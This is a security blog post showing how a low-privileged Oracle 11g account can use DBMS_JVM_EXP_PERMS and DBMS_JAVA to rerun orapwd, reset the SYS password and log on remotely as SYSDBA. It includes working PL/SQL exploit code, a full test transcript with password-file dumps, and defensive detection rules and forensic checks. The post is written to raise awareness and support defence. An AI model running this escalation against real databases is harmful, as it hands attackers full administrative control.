Three Tier Oracle Security in London ~ Paul M. Wright

(nix, oracle, java, www, cloud ) intersect (safety, security, reliability, integrity)

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed
 

CREATE SESSION to SYSDBA via Java and orapwd

Hi All,

The recent Java Security research from David, formerly of NGSSoftware, could be summarised simply in that DBMS_JVM_EXP_PERMS can be used to grant Java privileges in the Oracle DB which can then be leveraged via DBMS_JAVA or DBMS_JAVA_TEST packages to gain DBA, therefore one should revoke public execute from those packages and grant to the users that require them. Easy? Not so simple unfortunately..

1. How do you know what users requires those executes? Can trace dependencies of packages and monitor the behaviour of the application using a Database Application Monitoring System as outlined in my recent SecuringJavaInOracle paper.
However this cannot be guaranteed to get all the grantees that are needed and I have experienced examples of applications breaking due to the revocation of these privileges from public.

2. The reason there are public executes in the first place is that there is no way of inheriting execute via a role for other packages (via Definer’s rights). Therefore replacing a single public execute with individual privileges may require many complex grants as discussed in a previous post .

What this means is that in the absence of a patch, a lot of organisations are not yet fixing this issue due to the difficultly of predicting the outcome of the revokes which makes the perceived risk of fixing the vulnerabilities greater than the perceived risk faced by staying vulnerable.
This misconception needs addressing as these Java vulnerabilities in Oracle are not only very serious they also open up a wider field of research which will result in more vulnerabilities and varied exploits which are difficult to defend against.

Let’s take a look at an issue I came across recently as an example…

For those of you that have read my CREATE ANY DIRECTORY paper you will know about the orapwd command for recreating the password file.
orapwd accepts an argument for resetting the SYS password for remote logon which is effective if the REMOTE_LOGIN_PASSWORD parameter is set to EXCLUSIVE or SHARED. (EXCLUSIVE is the default). This is the command and can only be ran by the oracle unix user thus stopping lower privileged users from changing the sys password.

[oracle@localhost dbs]$ orapwd file=orapwDB11G password=newsyspassword

Problem is that this same command can be invoked by any user with CREATE SESSION from within the Oracle database by extending the Java Security research already mentioned as below.

create user javatest identified by javatest;
grant create session to javatest;
conn javatest/javatest;

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT','JAVATEST','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper mv /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11Gbu') FROM DUAL;

SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main', '/u01/app/oracle/product/11.2.0/db_1/bin/orapwd', 'file=/u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G', 'password=attackersyspassword') from dual;

–Let’s run the code above on 11.2.0.1.0 as a test to prove the theory:

[oracle@linuxbox dbs]$ sqlplus / as sysdba

SQL*Plus: Release 11.2.0.1.0 Production on Mon Mar 22 03:03:23 2010

Copyright (c) 1982, 2009, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options


SQL> drop user javatest cascade;

User dropped.

SQL> create user javatest identified by javatest;

User created.

SQL> grant create session to javatest;

Grant succeeded.

SQL> conn javatest/javatest;
Connected.

SQL> sho user
USER is "JAVATEST"

SQL> SELECT TYPE_NAME, NAME, ACTION FROM USER_JAVA_POLICY WHERE GRANTEE_NAME ='JAVATEST';

no rows selected

SQL> DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT','JAVATEST','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/  2    3    4    5    6    7    8    9   10  

PL/SQL procedure successfully completed.

SQL> SELECT TYPE_NAME, NAME, ACTION FROM USER_JAVA_POLICY WHERE GRANTEE_NAME ='JAVATEST';

TYPE_NAME
--------------------------------------------------------------------------------
NAME
--------------------------------------------------------------------------------
ACTION
--------------------------------------------------------------------------------
java.io.FilePermission
<<ALL FILES>>
execute

--so JAVATEST has granted itself execute on ALL FILES
--now to back up the password file and create a new one with a known SYS password, all from the JAVATEST DB account.

[oracle@linuxbox dbs]$ pwd
/u01/app/oracle/product/11.2.0/db_1/dbs

[oracle@linuxbox dbs]$ ls -alt
total 32
drwxr-xr-x  3 oracle oinstall 4096 Mar 22 03:13 .
-rw-r-----  1 oracle oinstall 1536 Mar 22 03:10 orapwDB11G
drwxr-xr-x  2 oracle oinstall 4096 Mar 22 01:54 pwbu
-rw-r-----  1 oracle oinstall 3584 Mar 22 00:31 spfileDB11G.ora
drwxrwxr-x 72 oracle oinstall 4096 Nov 15 23:12 ..
-rw-r-----  1 oracle oinstall   24 Nov  7 22:51 lkORCL
-rw-rw----  1 oracle oinstall 1544 Nov  7 22:50 hc_DB11G.dat
-rw-r--r--  1 oracle oinstall 2851 May 15  2009 init.ora

SQL> SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper mv /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11Gbu') from dual;     

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERMV/U01/APP/ORACLE/PRODUCT/11.2.0/DB
--------------------------------------------------------------------------------

[oracle@linuxbox dbs]$ ls -alt
total 32
drwxr-xr-x  3 oracle oinstall 4096 Mar 22 03:15 .
-rw-r-----  1 oracle oinstall 1536 Mar 22 03:10 orapwDB11Gbu
drwxr-xr-x  2 oracle oinstall 4096 Mar 22 01:54 pwbu
-rw-r-----  1 oracle oinstall 3584 Mar 22 00:31 spfileDB11G.ora
drwxrwxr-x 72 oracle oinstall 4096 Nov 15 23:12 ..
-rw-r-----  1 oracle oinstall   24 Nov  7 22:51 lkORCL
-rw-rw----  1 oracle oinstall 1544 Nov  7 22:50 hc_DB11G.dat
-rw-r--r--  1 oracle oinstall 2851 May 15  2009 init.ora

Previous passwordfile with SYS password with value of s3cure_passw0rd (DB2D9F77CDEAD689)

^@^@^@^@^@^B^@^@^B^@^@^@[Z^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^ ...snip
@^@^@^@^@^@^@^@^@ORACLE Remote Password file ^@^@^@^[^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^
@^@^@^@^@^@^@^@^@^@^C^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@INTERNAL^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^H^@
^@^@0C1039E573528743^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^P^@^@^@^__(<85>^DàÇ·ÔÙ<9d>^C
V3QJºmy&^H#ÍWÉÐ^L^RqÑÌ^@SYS^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^C^@^@^@DB2D9F77CDEAD689^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^P^@^@^@^_&´ÿ@êáÏ<90>½"B^@i<97<9a<85>ÔN<9a>_Ì¡§ <90>-ÍÕ¹^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ..snip

SQL> SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main', '/u01/app/oracle/product/11.2.0/db_1/bin/orapwd', 'file=/u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G', 'password=attackersyspassword') from dual;

DBMS_JAVA_TEST.FUNCALL('ORACLE/AURORA/UTIL/WRAPPER','MAIN','/U01/APP/ORACLE/PROD
--------------------------------------------------------------------------------

[oracle@linuxbox dbs]$ ls -alt
total 36
drwxr-xr-x  3 oracle oinstall 4096 Mar 22 03:26 .
-rw-r—–  1 oracle oinstall 1536 Mar 22 03:26 orapwDB11G
-rw-r—–  1 oracle oinstall 1536 Mar 22 03:21 orapwDB11Gbu
drwxr-xr-x  2 oracle oinstall 4096 Mar 22 01:54 pwbu
-rw-r—–  1 oracle oinstall 3584 Mar 22 00:31 spfileDB11G.ora
drwxrwxr-x 72 oracle oinstall 4096 Nov 15 23:12 ..
-rw-r—–  1 oracle oinstall   24 Nov  7 22:51 lkORCL
-rw-rw—-  1 oracle oinstall 1544 Nov  7 22:50 hc_DB11G.dat
-rw-r–r–  1 oracle oinstall 2851 May 15  2009 init.ora

New passwordfile with SYS password of attackersyspassword (00CB6865E85C432E) which can be used to logon remotely as SYS by the previously low privileged JAVATEST account.

^@^@^@^@^@^B^@^@^B^@^@^@]\ ... snip
@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ORACLE Remote Password file^@^@^@^[^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^B^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@INTERNAL^@^@^@^@^@^@^@^@^
@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^H^@^@
^@C3F8A12CD7C5176D^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^P^@^@^@^_VYÓÊ^Qß¹<96>!/O0£=ènSé¢^C==^M¾ðÊ_+/æ^@SYS^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^C^@^@^@
00CB6865E85C432E^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^P^@^@^@^_Ê.c/;Ap¬R^?b\¤Òr%« ð¥<89>ñl]AvKØzÐ ...snip
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@

Basically the SYS password has been changed from the database by a user with just CREATE SESSION without alerting the normal password audited mechanisms. The attacking JAVATEST account can now logon remotely as SYS as follows..

sqlplus /nolog
conn sys/attackersyspassword@192.168.1.2/DB11G as sysdba

This is just one of the variations that I have seen which makes the fixing of these Java vulnerabilities in Oracle important to fix. Note ~ orapwd can be called reliably from the DB on 10g as well as 11g though a different method for backing up the passwordfile will be needed on 10g as DBMS_JAVA.RUN_JAVA does not exist in 10g. Backing up the password file is easily done in 10g as is the identification of OS paths to binaries from the DB, but my intention is not to provide exploit code but to raise awareness to encourage folks to fix these issues..

My recommendation is to write a Sentrigo Hedgehog alert on the use of orapwd which is as simple as this in Hedgehog.

statement matches 'orapwd'
 

Additionally write HH rules to monitor the Java packages prior to public revocation to see what uses them.

--for successful executes
object ='SYS.DBMS_JVM_EXP_PERMS' 
object ='SYS.DBMS_JAVA' 
object ='SYS.DBMS_JAVA_TEST' 

--all statements containing the string name
statement matches 'DBMS_JVM_EXP_PERMS' 
statement matches 'DBMS_JAVA' 
statement matches 'DBMS_JAVA_TEST' 

More information on Sentrigo HH in Pete's recent paper
But how best to identify this type of abuse, and react to a potential incident of this nature?

1. UNIX Timestamp on the password file. If it is after the last time that a SYSDBA user changed their passwords in the DB then you know that the password file has been recently updated.
2. Check to see if the SYS passwords differ in the DB and password file.
3. Can check mandatory audit at the OS recorded for all SYS logons.
4. Audit the Oracle UNIX account to local SYSLOG.

The problem is that the SYS password could be put back after the attack and mandatory audit deleted. Really what is needed is a secure monitoring system that can protect against attackers gaining SYSDBA privileges. More to come on how to protect against unauthorised use of SYSDBA privileges in a future post.

Obviously follow support advice from Oracle in the first instance. My main point in this article is that these issues cannot be safely ignored.

If you require extra information about how to secure Java based applications in Oracle systems you are welcome to attend my talk at http://issdconference.com or email myself at paulmwright@oraclesecurity.com

Cheers,
Paul

Leave a Reply

You must be logged in to post a comment.